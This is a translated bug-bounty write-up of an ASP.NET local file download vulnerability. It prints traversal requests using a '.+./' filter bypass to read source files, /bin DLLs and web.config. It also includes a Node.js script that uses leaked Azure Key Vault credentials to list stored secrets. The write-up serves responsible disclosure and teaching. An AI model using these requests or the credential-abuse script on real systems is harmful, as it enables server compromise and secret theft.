价值17000美元的本地文件下载漏洞
ASP.NET的Web应用中比较常见的漏洞之一是本地文件泄露。如果您从未研究过相关技术,那么如何利用本地文件下载漏洞(LFD)可能会让您感到无所适从。在下面的文章中,我将描述一个受LFD漏洞影响的Web应用,然后利用这个漏洞控制服务器。
确认漏洞
在测试目标网站时,我看到了这样一个url…
https://domain.com/utility/download.aspx?f=DJ/lc1jVgHTZF...
当加载页面时,这个url会从服务器上的另一个路径下载帮助文档。我不认为我能够篡改这个url,因为它的参数是被加密的,但是再一想。如果我能够找到密钥来解密参数(可能是AES加密算法),那么我可以伪造参数并找到一个LFD漏洞。
令我惊讶的是,我最终看到在这个网站的老版本上看到了相同功能的链接,具有如下
https://domain.com/utility/download.aspx?f=file1234.docx
这个请求的并返回包内容如下
HTTP/1.1 200 OK
Connection: close
Content-Length: 27363
Ïó|uœZ^tÙ¢yǯ;!Y,}{ûCƒ³/h>
...
我看到这之后做的第一件事是把字符串download.aspx作为参数,令我惊讶的是,请求返回了这个页面的源码。
GET /utility/download.aspx?f=download.aspx
HTTP/1.1 200 OK
Connection: close
Content-Length: 263
<%@ Page Language="C#" AutoEventWireup="true" Debug="true" %>
...
读取download.aspx
的源码表明我可以访问任意文件,但这其实还是存在限制,因为真正的源代码(存储文件的实际来源)位于文件filename.aspx.cs。我尝试读取它,但并没有用。
事实证明,在我的测试这个漏洞过程的中,始终无法访问.aspx.cs文件。 (有关.aspx和.aspx.cs文件之间差异,https://stackoverflow.com/questions/13182757/what-is-the-difference-between-aspx-and-aspx-cs)。
我必须找到解决这个问题的方法,但是现在,让我们尝试从不同的目录中读取尽可能多的文件,这样我们就可以了解更多。
绕过遍历文件的阻碍
我在测试过程发现我无法在末尾添加两个点(..),否则请求将响应400。
为了绕过,我采取的一种模糊测试看是否有任何字符可以生效。
我使用了以下请求...
GET /utility/download.aspx?f=.[fuzz]./utility/download.aspx
我开始手动遍历所有字符直到看到含有.+./utility/download.aspx
的url成功返回了download.aspx的内容。很好,现在我们就可以遍历目录了。为什么这样会生效?我不确定。我在我自己的搭建的ASP.NET应用上尝试过这个,看看它是否具有通用性,但测试过不行。我的猜测是这和Window中含有空格文件名的内部逻辑有关,但我还未彻底研究。
证明漏洞影响
因为我现在可以跨目录读取阅读文件,所以我尝试的第一件事就是读取.ashx文件。因为这些是处理程序而不是表示文件(https://www.dotnetperls.com/ashx),我猜测它们也能被访问。
果然有效!
HTTP/1.1 200 OK
Connection: close
Content-Length: 2398
<%@ WebHandler Language="C#" Class="redacted.redacted" %>
Imports System
Imports System.Data
Imports System.Data.SqlClient
Imports System.IO
Imports System.Web
Imports System.Configuration
...
这至少表明我能够读取一些更为敏感的东西。我的下一步是阅读更多的源代码。
我在阅读ASP.NET文档时发现的一点是,编译后的类保存在/bin/className.dll
中。这意味着我们应该能够提取.ashx文件中引用的类名。
通过发送以下请求,我能够读取源文件的DLL(有关DLL的更多信息,https://blogs.msdn.microsoft.com/tom/2008/07/21/asp-net-tips-loading-a-dll-out-of-the-bin-directory/)
GET /utility/download.aspx?f=.+./.+./bin/redacted.dll
下载后,我可以使用使用dnSpy导入DLL并恢复应用程序的源,此外还有更多的类可以从中取得。
web.config 泄露 Azure Key,漏洞影响达到致命
web.config是ASP.NET应用中最常使用的文件之一。
这个文件本质上是一个设置文件,包含从单个页面到整个Web服务器的所有额外变量。这里也存储了许多敏感信息,比如数据库的凭证、上面提及的参数的加密密钥,以及应用程序使用的内部接口。
下面是一个web.config文件的示例
<?xm l version="1.0" encoding="utf-8"?>
<!--
For more information on how to configure your ASP.NET application, please visit
http://go.microsoft.com/fwlink/?LinkId=301880
-->
<configuration>
<appSettings>
<add key="webpages:Version" value="3.0.0.0" />
<add key="webpages:Enabled" value="false" />
<add key="ClientValidationEnabled" value="true" />
<add key="Unobtrusiveja vasc riptEnabled" value="true" />
<add key="PodioClientId" value="" />
<add key="PodioClientSecret" value="" />
<add key="AppId" value="" />
<add key="SpaceId" value="" />
</appSettings>
<connectionStrings>
<remove name="umbracoDbDSN" />
<add name="PodioAspnetSampleDb" connectionString="server=WSA07;databa se=PodioAspnetSampleDb;user id=sa;password=pass" providerName="System.Data.SqlClient" />
</connectionStrings>
<system.web>
<compilation debug="true" targetfr amework="4.5" />
<httpRuntime targetfr amework="4.5" />
</system.web>
</configuration>
为了读取目标的web.config文件,只需发送以下请求
GET /utility/download.aspx?f=.+./.+./web.config
该请求返回的内容包括了很多敏感信息——但最糟糕的是暴露了以下密钥
...
<add key="keyVaultDataPlaneUri" value="redacted" />
<add key="uniqueKeyVaultNameUri" value="redacted" />
<add key="keyVaultClientId" value="redacted" />
<add key="keyVaultClientSecretIdentifier" value="redacted" />
<add key="keyVaultClientTenantName" value="redacted" />
<add key="keyVaultAuthenticationContextUri" value="redacted" />
<add key="keyVaultApiVersion" value="2016-10-01" />
...
如果正确使用,我就可以访问Azure Key Vault实例。Azure Key Vault通常用于为Web应用保存密钥和秘密,通常是一些非常敏感的数据。
接下来的问题是找到正确的方式来发送请求。在与shubs交谈之后,他快速地写出一个Node.js脚本,以便使用泄露的密钥访问Azure Key Vault实例…
var KeyVault = require('azure-keyvault');
var AuthenticationContext = require('adal-node').AuthenticationContext;
var clientId = "clientId";
var clientSecret = "clientSecret";
var vaultUri = "vaultUri";
// Authenticator - retrieves the access token
var authenticator = function (challenge, callback) {
// Create a new authentication context.
var context = new AuthenticationContext(challenge.authorization);
// Use the context to acquire an authentication token.
return context.acquireTokenWithClientCredentials(challenge.resource, clientId, clientSecret, function (err, tokenResponse) {
if (err) throw err;
// Calculate the value to be set in the request's Authorization header and resume the call.
var authorizationValue = tokenResponse.tokenType + ' ' + tokenResponse.accessToken;
console.log(authorizationValue);
return callback(null, authorizationValue);
});
};
var credentials = new KeyVault.KeyVaultCredentials(authenticator);
var client = new KeyVault.KeyVaultClient(credentials);
client.getSecrets(vaultUri).then(function(value) {
console.log(value);
});
接受到的回应
{ id:
'https://redacted.vault.azure.net/secrets/ftp_credentials',
attributes:
{ enabled: true,
created: 2018-01-23T22:14:18.000Z,
updated: 2018-01-23T22:14:18.000Z,
recoveryLevel: 'Purgeable' },
contentType: 'secret' } ]
... more secrets ...
到这里,这次渗透就结束了,因为最后我们已经可以完全在系统上进行写和读。
重点回顾
ASP.NET不能访问源文件?从/bin/className.dll读取。
想看一些很敏感的数据吗?从web.config中读取。
如果您想更好地渗透ASP.NET应用,请花一些时间研究它们。如果您能够克服几乎每个请求中都带有的看上去很糟糕的令牌,那么您将开始注意到许多应用都会存在的漏洞(XSS、身份验证绕过、shell上传、LFD和LFI等)。
节日快乐!
——@samwcyo
时间线
漏洞上报——2018年9月25日
漏洞鉴别——2018年9月27日
奖励17000美元——2018年9月29日
原文链接:https://samcurry.net/reading-asp-secrets-for-17000/
最新评论